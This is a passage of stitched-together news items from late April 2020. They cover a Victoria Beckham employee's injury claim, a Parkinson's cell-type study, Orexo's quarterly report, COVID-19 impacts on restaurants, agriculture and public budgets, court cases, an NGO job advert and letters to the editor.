30 to 60 minutes. Ms Kubiliene would then cut the fabric, which required significant pressure and accuracy, holding with her left hand and cutting with her right, which took up to three hours. Her lawyer said: Normally she worked 10am to 6pm, but twice a year for two weeks she attended New York Fashion Week. For a month beforehand her workload increased to up to 15 hours a day, seven days a week, without regular breaks or rest. During these times her hands and wrists were so sore she needed painkillers to work. Victoria Beckham Limited failed to put measures in place to look after Kristina and prevent this from happening. Last year, Ms Kubiliene had an operation to relieve her carpel tunnel syndrome. But she could not work after the surgery and she left her role. Ms Moyeed said: She is still unable to work and has such a weak grip she needs help around the home to do basic tasks. It is not known when, if ever, she will be able to return to a similar role, or any kind of employment. Kristina does not wish to make any further comment at this time. Expand Close Victoria Beckham with the Designer Brand award at the 2011 British Fashion Awards (Ian West/PA) / Facebook Twitter Email Whatsapp Victoria Beckham with the Designer Brand award at the 2011 British Fashion Awards (Ian West/PA) The PA news agency has contacted Victoria Beckham Limited for a response to Ms Kubilienes claims. Victoria Beckham founded her fashion label in 2008 and it became known for its modern minimalism. With offices in London and New York, a flagship store in Mayfair and another store in central Hong Kong, the brand has won critical acclaim alongside multiple industry awards, including Best Designer Brand and Brand of the Year at the British Fashion Awards. In addition, victoriabeckham.com, the Victoria Beckham brand is carried in more than 450 stores in 50 countries worldwide, according to the company website. Researchers at Karolinska Institutet in Sweden and the University of North Carolina in the USA have mapped out the cell types behind various brain disorders. The findings are published in Nature Genetics and offer a roadmap for the development of new therapies to target neurological and psychiatric disorders. One interesting finding was that cells from the gut's nervous system are involved in Parkinson's disease, indicating that the disease may start there. The nervous system is composed of hundreds of different cell types with very different functions. It is vital to understand which cell types are affected in each disorder so as to understand the causes of the disorders and, ultimately, develop new treatments. Researchers have now combined mice gene expression studies with human genetics to systematically map cell types underlying various brain disorders, including Parkinson's disease, a neurodegenerative disorder with cognitive and motor symptoms resulting from the loss of dopamine-producing cells in a specific region of the brain. "As expected, we found that dopaminergic neurons were associated with Parkinson's disease. More surprisingly, we found that enteric neurons also seem to play an important role in the disorder, supporting the hypothesis that Parkinson's disease starts in the gut," says one of the study's main authors Patrick Sullivan, Professor at the Department of Medical Epidemiology and Biostatistics at Karolinska Institutet and Yeargan Distinguished Professor at the University of North Carolina. When the researchers analysed differences in brain tissue from healthy individuals and people with Parkinson's disease at different stages of the disease, they made another unexpected discovery. A type of support cell in the brain called oligodendrocytes were found to be affected early on, suggesting that they play a key role in the early stages of the disease. "The fact that the animal studies pointed us to oligodendrocytes and that we were then able to show that these cells were also affected in patients suggests that the results may have clinical implications," says Jens Hjerling-Leffler, research group leader at the Department of Medical Biochemistry and Biophysics at Karolinska Institutet and the other main author of the study. The oligodendrocytes appear to be affected even before the loss of dopaminergic neurons. "This makes them an attractive target for therapeutic interventions in Parkinson's disease," says Julien Bryois, researcher at the Department of Medical Epidemiology and Biostatistics at Karolinska Institutet and one of the first authors of the study. The study was financed by the Swedish Research Council, StratNeuro, the Wellcome Trust, the Swedish Brain Foundation, the Swiss National Science Foundation, the US National Institute of Mental Health, and the Psychiatric Genomics Consortium. Patrick Sullivan reports that he is currently a member of the pharmaceutical company Lundbeck's advisory committee and that he has received grants from them. For the past three years he has been a member of Pfizer's scientific advisory board and received fees from Element Genomics and Roche. Co-author Cynthia Bulik has received grants from Shire and is a member of their scientific advisory board. She is also an author and recipient of royalties from both Pearson and Walker. ### Publication: "Genetic identification of cell types underlying brain complex traits yields insights into the etiology of Parkinson's disease". Julien Bryois, Nathan G. Skene, Thomas Folkmann Hansen?, Lisette J. A. Kogelman, Hunna J. Watson, Zijing Liu, Eating Disorders Working Group of the Psychiatric Genomics Consortium, International Headache Genetics Consortium, 23andMe Research Team, Leo Brueggeman, Gerome Breen, Cynthia M. Bulik, Ernest Arenas, Jens Hjerling-Leffler, Patrick F. Sullivan. Nature Genetics, online 27 April 2020, doi: 10.1038/s41588-020-0610-9. - A good start to the year despite COVID-19 UPPSALA, Sweden, April 28, 2020 /PRNewswire/ -- Q1 2020 highlights Total net revenues of SEK 175.0 m (174.3), up 0.4 percent (174.3), up 0.4 percent EBITDA of SEK 39.1 m (12.0), up 225.8 percent (12.0), up 225.8 percent Net earnings of SEK 82.6 m (14.1), up 485.8 percent (14.1), up 485.8 percent US Pharma (Zubsolv US) net revenues of SEK 163.9 m (161.7), up 1.3 percent in SEK and -4.0 percent in local currency. HQ & Pipeline net revenues of SEK 11.1 m (12.6). (161.7), up 1.3 percent in SEK and -4.0 percent in local currency. HQ & Pipeline net revenues of (12.6). US Pharma (Zubsolv US) EBIT of SEK 75.9 m (68.2), up 11.2 percent, Digital Therapeutics EBIT of SEK -12.0 m (-) and HQ & Pipeline EBIT of SEK -29.9 m (-67.1) (68.2), up 11.2 percent, Digital Therapeutics EBIT of (-) and HQ & Pipeline EBIT of (-67.1) Cash flow from operating activities of SEK 48.1 m (50.9), building a cash balance of SEK 861.4 m (647.4) (50.9), building a cash balance of (647.4) OX338 showed promising results from the human PK-study, assessing novel ketorolac formulations for treatment of pain Application for vorvida submitted to FDA to enable commercialization in the US Net sales potential for the development projects were communicated in connection to the company's Capital Markets Day, see Operations/pharmaceuticals and digital therapies Repurchased 14 percent of the company's outstanding corporate bonds with a nominal value of SEK 40.5 m Important events after the end of the period Completed the program to repurchase 500,000 of the company's ordinary shares, equalling to approx. 1.4 percent of the total issued ordinary shares in the company James Noble elected Chairman of the Board and Charlotte Hansson elected as Board member at the Annual General Meeting. They replace Martin Nicklasson and Kristina Schauman who have declined re-election. elected Chairman of the Board and elected as Board member at the Annual General Meeting. They replace and who have declined re-election. Financial outlook 2020 is reiterated SEK m, unless otherwise stated 2020 Jan-Mar 2019 Jan-Mar 2019 Jan-Dec ? 2019-2020 Net revenues 175.0 174.3 844.8 0.4% Cost of goods sold -20.0 -25.3 -105.6 -21% Operating expenses -121.1 -147.9 -508.0 -18% EBIT 34.0 1.1 231.2 2991% EBIT margin, % 19.4 0.6 27.4 18.8 ppt EBITDA 39.1 12.0 272.1 226% Earnings per share, before dilution, SEK 2.38 0.41 6.33 483% Earnings per share, after dilution, SEK 2.34 0.40 6.20 484% Cash flow from operating activities 48.1 50.9 287.0 -5.6% Cash and cash equivalents 861.4 647.4 816.8 33% CEO Comments: Resilient business driving continued growth in challenging times I am pleased to report a solid financial performance for the first quarter with both profitability and cash improving. This reflects the progress at our US Pharma operations with an EBIT contribution margin of 46 percent. The impact of COVID-19 has, both operationally and financially, been limited at this stage. Longer-term we anticipate demand for addiction treatments will increase alongside accelerated adoption of digital therapies as a consequence of the COVID-19 pandemic. Significant continued improvement in cash position - SEK 39 m in EBITDA and SEK 861 m in cash Our Q1 performance is in line with expectations, with a decline in the demand for Zubsolv due to generic competition in some previously exclusive contracts with United Health Group and Humana. The reduction in sales volume has been offset by higher average net prices, a reduction in product returns and improved gross margins. Early indicators suggest COVID-19 is impacting market dynamics, resulting in an increase in the average prescription size and an uptick in demand for Zubsolv was seen during March. This partially reflects increased inventory build but feedback from the market also indicates a higher demand for treatment as access to illegal drugs declines. Longer-term the COVID-19 pandemic is expected to increase demand for addiction treatment, in line with previously challenging economic market conditions, which saw an increase in substance misuse. One effect of the uncertainty caused by COVID-19 has been a weakening of the SEK. With all of our revenues and EBIT contribution from our US operations being USD denominated this translates into a positive impact on Orexo's financial results. We have leveraged this opportunity to reduce exposure to USD, through repurchasing of our corporate bond and of 500,000 shares, and realizing an exchange rate gain of SEK 29 m. Digital Therapies - high growth opportunity with potential to increase access to treatment The impact from COVID-19 is already being felt by most businesses but for some it presents an opportunity to accelerate the adoption of new technologies including video conferencing and digital health. Orexo, with its increasing focus on digital therapeutics, could play an important role in providing treatments for patients at a time when COVID-19 is severely impacting access to treatment. Subject to receiving FDA clearance for vorvida, a digital therapy designed to offer patients high quality psychotherapy to treat harmful alcohol misuse, Orexo will review opportunities for an accelerated launch. During the quarter we hosted a Capital Markets Day and provided some additional insights on the market potential and initial investment required to develop our digital therapeutics offering. Digital therapies are still in their infancy in terms of market adoption but present an attractive market opportunity. Based on Orexo's conservative estimates we believe vorvida and OXD01, for the treatment of opioid use disorder, have a combined revenue potential which could exceed USD 400 m. In light of COVID-19 and changes to market access for digital therapies, we will consider investing in an earlier and broader launch, if the opportunity exists for both vorvida and OXD01. R&D - promising pipeline of next wave therapeutics to address growing market opportunity Our pipeline development remains on track at present and we plan to initiate the first exploratory study for OX125 in H1 2020 and the pivotal trial for OX124 late in H2 this year. Both projects are rescue medications for the treatment of opioid overdose and are based on new and unique technologies involving partners in different geographies. If COVID-19 continues indefinitely and travel restrictions remain in place, this could impact trial timelines. During the Capital Markets Day we also provided analysis of the revenue potential of our pipeline, including the combined potential of OX124 and OX125, estimated at USD 110-170 m in the current market environment. The market opportunity for OX338, our phase I candidate for the treatment of pain without using opioids, is harder to estimate as it applies to a very broad market, but is conservatively valued at USD 100 m. I am pleased with our pipeline development to date and expect to file for regulatory approval of OX124 as early as next year, a product which has the potential to exceed Zubsolv revenues and could become an important growth driver for Orexo. Summary and Outlook I am very proud of how the Orexo team has responded to the global crisis presented by COVID-19, minimizing to date any material negative impact on our business whilst also ensuring the safety of our employees and partners. We will continue to monitor government guidance including US lockdown measures, which may impact our financial outlook if they continue into H2 2020. That said Orexo is a profitable and well-funded business with a promising pipeline of next-generation treatments, including innovative digital therapies, and is well placed to weather the current challenges posed by COVID-19. Uppsala, Sweden, April 28, 2020 Nikolaj Srensen President and CEO Presentation At 2.00 pm CET, the same day as the announcement of the report, Orexo invites analysts, investors and media to attend an audiocast with a web presentation where Nikolaj Srensen, CEO, and Joseph DeFeo, CFO, will present the report. After the presentation a Q&A will be held. Questions can also be sent in advance to ir@orexo.com, no later than 11.00 am CET. Please view the instructions below on how to participate. Internet: https://tv.streamfabriken.com/orexo-q1-2020 Telephone: SE +46 8 50 55 83 55 UK +44 33 33 00 92 73 US +1 83 38 23 05 89 The presentation material will be available on Orexo's website prior to the audiocast. This information is information that Orexo AB (publ.) is obliged to make public pursuant to the EU Market Abuse Regulation. The information was submitted for publication, through the agency of the contact persons set out above, at 8.00 am CET on April 28, 2020. For further information, please contact Joseph DeFeo, EVP and CFO or Lena Wange, IR & Communications Manager Tel: +46-18-780-88-00, +1-855-982-7658 Email: ir@orexo.com This information was brought to you by Cision http://news.cision.com https://news.cision.com/orexo/r/interim-report-q1-2020,c3097963 The following files are available for download: Martice Fuller has another $150,000 added to his existing $1 million bond. Fuller, 16, made his initial appearance in court Tuesday on four counts of solicitation of communication with jurors. Although Fuller has been in custody and held on $1 million bond since May 2019, Commissioner Larry Keating added a new bond of $150,000 for the new charges, along with orders that he have no contact with the people he spoke to that led to the new charges. The teenager is charged with first-degree intentional homicide for the shooting death of his former girlfriend, 15-year-old Kaylie Juga, and with attempted first-degree homicide for shooting her mother, Stephanie Juga. Fuller is alleged to have entered the Juga family home on the afternoon of May 9, 2019, and confronted Kaylie in her bedroom, shooting her and then shooting the girls mother when she came to her daughters aid. He had been scheduled to go to trial on the homicide charge on Feb. 17, 2020. But before opening statements began, prosecutors told the judge that they had information from recorded jail phone calls and visits that Fuller had discussed contacting members of the jury that had been chosen days before. Fuller spoke to several people, some by phone and some in jail visits, mentioning that he believed two of the jurors were parents of teens he knew or that he believed friends knew. According to the criminal complaint filed in the new charges, in none of the conversations outlined did Fuller ask people to directly contact jurors, but he did appear to be asking people to speak to family members of jurors on his behalf. According to the complaint, it does not appear that any of those people he spoke to did so. Fuller is already facing a mandatory life sentence if convicted of first-degree homicide. In Wisconsin, the law requires that people convicted of homicide be under the supervision of the Department of Corrections for the rest of their lives, but it is possible that a portion of that sentence could be spent on community supervision. The new charges carry a maximum initial confinement of 18 months for each count. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. R estaurant bosses in London on Tuesday sounded caution over potential social distancing in their sites when they reopen, and warned a two-metre rule would be economically unviable. Chief medical officer Chris Whitty has suggested that, in the absence of a vaccine, maintaining socially distancing by keeping two metres apart may have to be in place until the end of the year. Under that scenario London firm Grind, which serves food, coffee and cocktails, estimates its largest branch, in Greenwich, would slash the number of customers to whom it serves brunch on Saturdays to just 150. It was around 500 before the coronavirus outbreak. David Abrahamovitch, founder of Grind, said that would be financially unviable without rent cuts or government assistance. Andre Blais, founder of Bodeans BBQ, said: That would ruin our business if we were not able to get subsidised rent. He said restaurant owners look at high footfall potential and how many sittings can be done when they choose to invest in new sites. Blais warned: Stripping customer numbers so drastically would mean our original projected earnings from sites cannot be achieved. Ranjit Mathrani, the chairman of MW Eat, behind the Masala Zone chain, and Stephano Borjak, director at Caffe Concerto, also agreed that such reduced customer numbers would not be viable. Their comments echo the bosses of airlines Ryanair and easyJet who have said leaving the middle seat free to ensure distancing is not practical. Recent COVID-19 statistics were released on Sunday by the California Department of Public Health. It was reported that California has more than 45,000 COVID-19 cases with more than 1,700 deaths, says an article. COVID-19 Testing in California As of Sunday, at least 526,084 COVID-19 tests were administered in California. All of these tests were reported to the California Department of Public Health. The tests were conducted explicitly in private laboratories, commercial laboratories, and academic laboratories such as LabCorp, Quest, University of California and Sanford, Kaiser, and 22 state and county health laboratories currently performing tests. The Department is currently reporting all the test reports from California rather than the total of individuals who were tested. There are now new laboratory testing procedures for COVID-19, although some are experiencing delays in providing reports to the state. To solve this issue and to make sure that the data is accurate and reflects the current testing capacity of the state, the Department is communicating directly with laboratories to assess the completeness of reporting and collection of additional data on testing as needed. Additionally, laboratories have been trying their best to resolve test backlogs that await processing. The delay is currently reduced, which helps ensure that the potential additional demand from testing guidelines and the opening of 86 more sample collection areas in different parts of California can be met. A Clearer Picture of the Demographics The California Department of Public Health is dedicated to equity in health and collection of more specific racial and ethnic data to help give more understanding to help with the determination of future actions. Health outcomes are affected by factors such as poverty, and structural criticism, and the disproportionate prevalence of health conditions such as heart illnesses and asthma among Latinos and African-American residents of California. By looking at the entire picture, everyone will be able to have a clearer understanding of how to make sure the best outcomes are given to every resident of California. The difference in health outcomes concerning COVID-19 is most stark in the deaths caused by the illness. The data on ethnicity and race on COVID-19 deaths in the state is almost complete. In General, for adults who are 18 years old and older, African-Americans, Latinos, Pacific Islanders, and Native Hawaiians, they are dying in disproportionally inclining levels. The proportions of deaths from COVID-19 among African-Americans is double their population representation in all adult age brackets. Also, For Pacific Islanders and Native Hawaiians, their overall numbers are low. However, there is a four-fold difference between their population representation and deaths from COVID-19. Furthermore, more men are losing their battle with COVID-19 than females, and this information is in line with the trend in the country. Check these out: Infection Rate Among Healthcare Workers Healthcare workers are the ones who stand in the frontlines to help COVID-19 patients recover from the illness. As of April 25, the local health departments in California have reported almost 5,000 healthcare workers who tested positive of COVID-19, 24 of them have lost the battle with the disease. Martin Beck has been appointed to the newly created role of Asia offshore wind and renewable energy leader. Beck will report to Glenn Preece, power and utility leader, Asia. Beck was formerly an offshore wind senior client advisor for Marsh GmbH in Hamburg, Germany. In his new role, he will be based in Singapore. Martin Beck Michael Kolodner has joined the company in the newly created role of US renewable energy leader, reporting to Barnes. Kolodner has nearly 20 years of operations, brokerage, advisory and underwriting experience in clean energy risk and insurance management. Prior to Marsh, he served as vice president of underwriting for Nuclear Electric Insurance. Kolodner is based in Philadelphia. Michael Kolodner Darren Popham has been appointed to the newly created role of UK renewable energy leader, reporting to Roberts. Popham was previously a senior vice president in Marsh JLT Specialtys construction practice. He will be based in London. Darren Popham Marsh has deep capabilities to serve renewable energy clients as the worlds clean energy transition continues with ever-greater contributions from renewable sources such as wind, solar and offshore wind, said Andrew George, global head of energy and power for Marsh JLT Specialty. Our energy clients increasingly need advisors who can help them navigate evolving risk landscapes and provide strategic solutions. The appointments of Oliver, Martin, Michael and Darren are pivotal as we look to increase our commitment to this dynamic and fast-growing market. Three female college students at Northwest Iowa Community College were recently arrested for pranking their roommate in one of the strangest and most disgusting ways imaginable. Its unclear how the three girls Ann C., a nursing student and member of the All-Iowa Academic Team, Kyiah Elaine K., a 19-year-old former Honor List student, and 20-year-old Ellie T. came with the idea of putting their gross foot skin shavings in their roommates bag of grated cheese and then watching her unknowingly eat it, but thats reportedly just what they did. The terrible prank took place at 6 p.m. on March 13, but three alleged perpetrators were only picked up by authorities last week. Photo: lcb/Pixabay According to nwestiowa.com, the three mischievous students have been charged with assault and even if they avoid any jail time, they are bound to have some problems at school, as faculty at their college already know about the incident. We hold the quality of instruction and safety of our students and employees as our highest priorities, Kristin Kollbaum, a spokesperson for the college, told VICE Magazine. We are aware of the incident and are cooperating with the proper authorities in the investigation. Its unclear how the fourth roommate found out that her colleagues had mixed their disgusting foot skin shavings into her bag of grated cheese, but I think its safe to say that they either started burst into dumb laughter while watching her eating them, or just bragged about their stunt to someone who then snitched on them, Either way, I hope they learn some humility from this. Agriculture Minister Narendra Singh Tomar is at the centre of government efforts to ensure that the farm sector continues to function smoothly during the lockdown. In an interview to Sagar Kulkarni of DH, Tomar spelt out the steps taken by the government to help farmers in these testing times. Government has taken steps to help farmers during the lockdown period. What is the response to those steps? Amidst the uncertainty prevailing today, the one activity giving hope is agricultural activity, which is also providing the reassurance of food security. Throughout India, farmers and agriculture labourers are sweating and toiling against all adversities. Their silent efforts, coupled with timely intervention by the central and state governments, have ensured that there is minimal or no disruption to harvesting activities and the continued sowing of summer crops. Follow live updates on the coronavirus pandemic here We have reached out to the farmers during the lockdown by releasing Rs 17,876.7 crore to 8.938 crore farmers under the Pradhan Mantri Kisan Samman Nidhi (PM-KISAN) Scheme. This has happened between March 24 and now. We have also issued 88,234.56 MT of pulses to states for distribution under the Pradhan Mantri Garib Kalyan Yojana (PM-GKY). How much impact will the lockdown have on agriculture growth? COVID-19 will undoubtedly have a negative impact on economies across the world, including India. However, the response of the department has been very prompt and pro-active. Home ministry exempted agriculture activities from lockdown. As a result, about 70% harvesting of Rabi crops has been completed so far and is likely to be fully achieved by the end of April. This will ensure food security for the country in difficult times. How do you plan to address the crowding at wholesale markets? We have launched two modules under the National Agriculture Market (e-NAM) to decongest wholesale markets and to boost the supply chain. Under the FPO module, which Jharkhand has started using, Farmer Producer Organisations can upload farm produce details from collection centres with picture/quality parameters and avail the bidding facility without physically going to the mandi. Under the Warehouse-based Trading Module, we have integrated e-NAM with e-Negotiable Warehouse Receipt (e-NWR), enabling farmers to sell their produce from WDRA-registered warehouses notified as deemed markets, without physically bringing the produce to the mandi. Andhra Pradesh and Telangana have already implemented this. There have been complaints of non-availability of farm labour, machines for harvesting Rabi crops? The government had already exempted the agriculture sector from the lockdown guidelines. To implement the exemptions on the ground level, the ministry has been coordinating with the state governments to iron out the difficulties they face. So, when Kerala raised the problem of shortage of combine harvesters, we asked Tamil Nadu to extend cooperation. How are harvesting operations going on across the country? About 70-75% harvesting has been completed. Harvesting is at its peak in Haryana, Punjab, UP and is likely to be completed by the end of April. The excess moisture in the field for unharvested crops may, however, delay harvesting by 2-5 days. Have you taken any specific steps for farmers of the southern states where pulses, oilseeds and coarse cereals are major crops? We have approved procurement of pulses and oilseeds under Price Support Scheme (PSS), including tur in Karnataka and Telangana. To ensure remunerative prices to farmers, procurement of chana, masoor and mustard has also been allowed in the states that had not sent proposals for implementation of PSS for these crops. The Centre has also allowed states to decide the start date of procurement of Rabi crops. The recent spell of rains in some parts of the country have damaged the wheat crop. Has the ministry assessed the losses? The states reported a varied degree of impact on standing Rabi crops in about 40 lakh hectares. Wheat is a major rabi crop in these states. However, isolated hailstorms may have impacted some areas. There is no adverse impact on total production of rabi crops, especially wheat. As per second advance estimates, wheat production is estimated at 106.21 million tonnes. In affected areas, states make an assessment for compensating damage to the affected farmers, if any. The government has spoken about doorstep procurement of farm produce. Is it feasible? The procurement of pulses and oilseeds under PSS is done through a three-tier system which includes procurement directly from farmers, though at village-level cooperative societies from its member farmers. Additionally, the e-NAM platform has been linked with various transport aggregators such as Truck Suvidha, Truck Guru, TransIn Logistics, to help traders find transporters available in their vicinity for faster movement of farm produce to mandi and other locations. We have also launched Kisan Rath, a farmer friendly mobile application to help farmers and traders search for transport for agriculture and horticulture produce. Any specific advice to states to ensure smooth functioning of mandis? We have issued advisory to state governments and UT administrations to facilitate direct marketing, enabling direct purchase from farmers/FPOs/Cooperatives by limiting regulation under state APMC Acts. Kochi, April 28 : The Kerala government suffered a setback on Tuesday when the High Court Tuesday stayed for two months the former's decision to deduct six-day salary of all its employees in the next five months as a temporary measure. Various Congress-led staff unions had approached the court over the "arbitrary manner in which employees had been forcibly directed to contribute to the CM Covid Relief Fund". The court pointed out that salary is an employee's right and he has no clue of how the government will use this donated money. However the court said that the state government could go in for an appeal, if it wished. Incidentally, Chief Minister Pinarayi Vijayan and Finance Minister Thomas Issac had first demanded a contribution of one month's salary each from all state government officials towards the Relief Fund, but the move was shot down by the opposition parties. Feeling snubbed, the Vijayan government then went ahead and announced that they have no other way but to defer six-day salary for every month for the next five months. It too came under attack from the opposition staff unions which approached the court. Senior Congress legislator P.T. Thomas said the court order was a "beating for the arrogance and adamant stand taken by Vijayan". "It should not be forgotten that a controversy had surfaced in the way similar funds collected during the 2018 floods were misused and hence when this call came people by and large were not impressed. So, it's only natural the court stayed this," said Thomas. Revenue Minister E. Chandrasekheran however put up a brave face and said the government will have to abide by the court stay. "This was resorted to because of paucity of funds at the state's disposal. Now, we will have to see what else can be done," said Chandrasekheran. -- The story has been published from a wire feed without any modifications to the text Police officers having to pay for on-street parking is 'un-Australian', according to a law enforcement union. The Police Association of South Australia is lobbying the Adelaide City Council for free parking - saying police officers are frontline workers who are risking their lives during the COVID-19 pandemic. PASA president Mark Carroll sent a letter to Adelaide Mayor Sandy Verschoor on Tuesday, pleading with her to consider the free parking proposal. South Australian police officers (pictured) are not entitled to free parking amid the COVID-19 pandemic, which has been slammed as 'un-Australian' by the Police Association of South Australia (PASA) 'Clearly, travel by public transport, because of its obvious health risks, is simply unsafe for police officers, whose input we cannot afford to lose,' Mr Carroll wrote, according to The Advertiser. 'Given the extraordinary work police are undertaking for the city, it would seem un-Australian not to reciprocate with a gesture of the greatest value possible.' Mayor Verschoor has since responded to Mr Carroll's letter, saying that free parking for police officers would be difficult to maintain. Police officers wear masks at Adelaide Airport. The PASA argues that police are frontline workers who risk their lives everyday and should be entitled to free parking amid the pandemic 'A permit system or means of identifying vehicles as belonging to SAPOL staff presented its own challenges regarding the risk to security and safety of SAPOL staff and property,' Ms Verschoor wrote. Poll Do you think police officers should get free parking? Yes No Do you think police officers should get free parking? Yes 18 votes No 51 votes Now share your opinion Earlier this month, the Adelaide City Council agreed to consider free parking for health professionals but rejected a proposal for police free parking. The PASA responded on its Facebook page, highlighting that other Australian city councils provide free parking for police officers. 'The (Adelaide) council denied this request,' the PASA post read. 'They stand alone on this - the city councils in Sydney, Brisbane, Melbourne, Perth and Darwin have all acted decisively to provide free parking to city-based emergency services and other front-line workers during the crisis.' In addition to writing to the mayor, the PASA has also written to South Australian Premier Steven Marshall to enlist his support. Adelaide City councillor Philip Martin will again propose a free parking scheme for police officers and other non-health related essential care workers next month. PASA president Mark Carroll (left) sent a letter to Adelaide Mayor Sandy Verschoor (right) on Tuesday, pleading with her to consider the free parking proposal OPCW report on Syria chemical attacks one-sided, biased: Iran Iran Press TV Monday, 27 April 2020 5:16 PM The Iranian Foreign Ministry has denounced as "one-sided" a recent report by the Organization for the Prohibition of Chemical Weapons (OPCW) about a series of suspected gas attacks in Syria's western region of Hama in 2017. Seyyed Abbas Mousavi, Iran's Foreign Ministry spokesman, said in an interview with the Islamic Republic News Agency (IRNA) on Monday that the initial report published by the OPCW's team on the use of chemical weapons in Syria was "biased, one-sided, non-independent, and outside the jurisdiction and scope" of the Hague-based organization. In an 82-page report earlier this month, the OPCW's Investigation and Identification Team (IIT) claimed Syrian government forces had been responsible for the alleged chemical attacks on the militant-held town of Lataminah in Hama province during the last week of March 2017. It alleged that in a span of one week, Syrian fighter jets had twice dropped bombs containing sarin nerve agent on the village and a helicopter had targeted its hospital with a cylinder containing chlorine, affecting scores of people. According to the report, the team had based its investigation on a range of evidence, including witness testimonies, videos, forensic reports on recovered munitions scraps, medical records and satellite imagery. "The Islamic Republic of Iran, as the biggest victim of chemical weapons in the contemporary period, condemns the use of chemical weapons by anyone at any place and time and under any circumstances," Mousavi said. The Iranian Foreign Ministry spokesman added that the OPCW's report on Syria and the type of reasoning and conclusion it provides indicated that the report was prepared and compiled under external pressure, and the sources used in the report had, to some extent, been provided by some terrorist groups and so-called humanitarian organizations, such as the White Helmets. Stressing that Iran is deeply concerned about the stigmatization of the OPCW's independence and legal personality as a specialized organization with a technical nature, Mousavi said the county disagrees with the formation of an investigation team by OPCW and views this issue as contrary to the provisions of the Chemical Weapons Convention (CWC) and in contradiction with the UN Security Council's exclusive mandate to maintain international peace and security. While appreciating the Syrian government's constructive cooperation with the OPCW, the Iranian Foreign Ministry spokesman underlined that, "The time has come for Syria's chemical case to be handled away from politicization, political pressures, and falsified and biased mechanisms." The Lataminah strikes came days before another alleged sarin assault in nearby town of Khan Shaykhun in Idlib province, which killed more than 80 people on April 4. The Western countries rushed to blame the incident on Damascus an allegation rejected by the Syrian government with the United States launching several dozen Tomahawk cruise missiles at a Syrian air base, taking the lives of about 20 people including both Syrian soldiers and civilians. The Syrian government surrendered its stockpiles of chemical weapons in 2014 to a joint mission led by the UN and the OPCW, which oversaw the destruction of the weaponry. However, Western governments and their allies have never stopped pointing the finger at Damascus whenever an apparent chemical attack has taken place. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Job Title: Human Resources & Administration Officer Organization: Norwegian Refugee Council (NRC) Duty Station: Uganda About NRC: The Norwegian Refugee Council (NRC) is an independent humanitarian organisation helping people forced to flee. We work in crises across more than 30 countries, providing emergencies and long-term assistance to millions of people every year. We stand up for people forced to flee, advocating their rights. NORCAP is a global provider of expertise that contributes to solving challenges in the humanitarian, development and peacebuilding sectors. Our ultimate goal is to strengthen the resilience, and protect the lives, rights and livelihoods of vulnerable people and communities. NRC also runs the Internal Displacement Monitoring Centre in Geneva, a global leader in reporting on and advocating for people displaced within their own country. Job Summary: The Human Resources & Administration Officer will provide general day to day HR support including Employee Benefits, recruitment, Staff Development, performance management and other administration roles to Isingiro and Kyangwali field offices. Key Duties and Responsibilities: Support the Field Coordinator to implement HR initiatives while complying with NRC standards and the national labour laws. Support the administration of effective and timely recruitment processes, promoting equity, transparency, and consistency at every step of the process (i.e. review job descriptions, posting adverts and long-listing etc) Under supervision of the line manager maintain accurate staff data. Organize and ensure that newly recruited staff undergo orientation and debriefing program for staff ending their mission. Keep track of leave for all staff and advise line managers in order to properly plan leave for staff Keep track of staffs contract end dates and contract extensions and ensure that notifications are given to the line managers well in advance. Prepare and submit monthly payroll staff data; Maintain timely update of the filling tree ensuring all staff records are archived in line with NRC guidelines. Regularly liaise with the Area Manager, Field Coordinator, and HR Coordinator to develop, promote and maintain Staff Well-being programs in the field. Ensure all newly hired staff have Probationary Performance Objectives discussed and agreed upon with line manager and posted on the capacity building plan template. Qualifications, Skills and Experience: The ideal candidate for the Norwegian Refugee Council (NRC) Human Resources & Administration Officer job must hold a degree in Human Resources Management or related field. Post Graduate degree is an added advantage At least three years of relevant work experience from working as a HR/Admin Officer in an NGO in humanitarian/recovery context. Good knowledge to the Uganda labour laws and statutory requirements Previous experience from working in the field with refugee and host communities. Knowledge of HR functions (pay, benefits, recruitment, training etc.) Ability to lead a team Demonstrated ability to prioritize and meet deadlines in a complex and challenging environment. Ability to work well under pressure with diverse teams from all backgrounds and level. Should be able to handle sensitive information. Have good spoken and written communication skills Excellent interpersonal skills Have problem solving skills to deal with disputes, grievances and staffing problems Have decision-making aptitude Be able to work as part of a team How to Apply: All suitably qualified candidates who wish to join NRC in the aforementioned capacity should apply online at the link below. Click Here Deadline: 29th April 2020 For more of the latest jobs, please visit https://www.theugandanjobline.com or find us on our facebook page https://www.facebook.com/UgandanJobline In the coronavirus pandemic, New Jersey small businesses are fighting an invisible enemy unlike anything they have ever encountered. The federal government has responded, but the programs are not working as intended in regions of the country most severely impacted by COVID-19. The reason: The aggressive back-to-work bias of the federal stimulus package directly conflicts with state government stay-at-home orders still in effect in New Jersey and elsewhere. The $660 billion Paycheck Protection Program (PPP), administered by the Small Business Administration (SBA), is a powerful tool designed to pump liquidity into the market, keeping struggling businesses afloat and working men and women off the unemployment line. But the formula used by the SBA to calculate its loan forgiveness aspect, which requires businesses to maintain existing payroll levels, penalizes employers who cannot immediately and safely rebuild their workforce to pre-COVID-19 levels. The program is not working as intended because many business owners, employees and consumers at the epicenter of this crisis cannot take full advantage of it. The rush to qualify for PPP funding now in its second round before it runs out, and the requirement for banks to disburse funds promptly upon loan approval, means stimulus money is being pumped into local economies before authorities in their respective states have relaxed stay-at-home orders. As a result, the SBA loan program unfairly penalizes business owners who adhere to strict stay-at-home orders and put the health and safety of their customers and employees first. Gov. Phil Murphy and our state congressional delegation must work with elected officials from other impacted areas to better align federal stimulus efforts with state and local public health policy. James B. Appleton, President, New Jersey Coalition of Automotive Retailers, Trenton Whats wrong at nursing home didnt start with COVID-19 Regarding the article, Andover officials say deaths rose at alarming rate, in the April 26 Star-Ledger print edition: While the article describes the supposed steps management at the Andover Subacute and Rehabilitation Center took when the COVID-19 virus resulted in significant deaths there, it says nothing of earlier reporting that the facility had at least 26 previous citations from the state Department of Health since November 2016. This facility just carried on with business as usual. Just what was its main focus? Maximizing profit? The article also points out that workers at the facility have raised concerns about chronic understaffing. This raises some very serious questions. What kind of follow-up does the Department of Health undertake regarding citations given to such facilities, and what kinds of regulations are applied and actually enforced? Its also revealing that the CEO of Alliance Healthcare, the owner of Andover, issued a statement but would not agree to be interviewed by the Star-Ledger. The company has also retained a top lawyer. It will be very interesting to see what a full investigation of what happened at 